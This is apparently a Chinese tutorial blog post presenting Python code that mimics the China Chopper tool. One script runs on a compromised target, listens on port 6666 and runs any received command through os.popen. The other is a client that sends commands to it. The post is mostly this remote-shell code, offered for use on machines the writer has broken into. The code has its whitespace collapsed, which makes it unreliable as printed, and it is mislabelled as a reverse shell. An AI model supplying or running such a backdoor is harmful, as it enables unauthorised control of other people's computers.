python模拟菜刀反弹shell绕过限制【推荐】
有的时候我们在获取到目标电脑时候如果对方电脑又python编译环境时可以利用python反弹shell
主要用到pythonos库和sokect库
这里的服务端在目标机上运行
fromsocketimport* fromosimport* s=socket(AF_INET,SOCK_STREAM)#IVP4寻址tcp协议 s.bind(('',6666))#补丁端口 s.listen(1)#开始监听一个队列 whileTrue: sock,addr=s.accept()#返回两次第一次返回连接地址二端口号 print('客户端:',addr) whileTrue: cmd=sock.recv(1024)#缓存长度接收传递过来 cmdstr=cmd.decode() ifcmdstr=='exit': print('客户端:',addr,'关闭') sock.close() break result=popen(cmdstr).read() sock.send(result.encode()) s.close()
本机运行
fromsocketimport* fromosimport* c=socket(AF_INET,SOCK_STREAM)#IVP4寻址tcp协议 c.connect(('127.0.0.1',6666))#连接地址 whileTrue: cmd=input("cmd:") c.send(cmd.encode())#必须传递流 ifcmd=='exit': c.close() break data=c.recv(1014) print(data.decode())
总结
以上所述是小编给大家介绍的python模拟菜刀反弹shell绕过限制,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!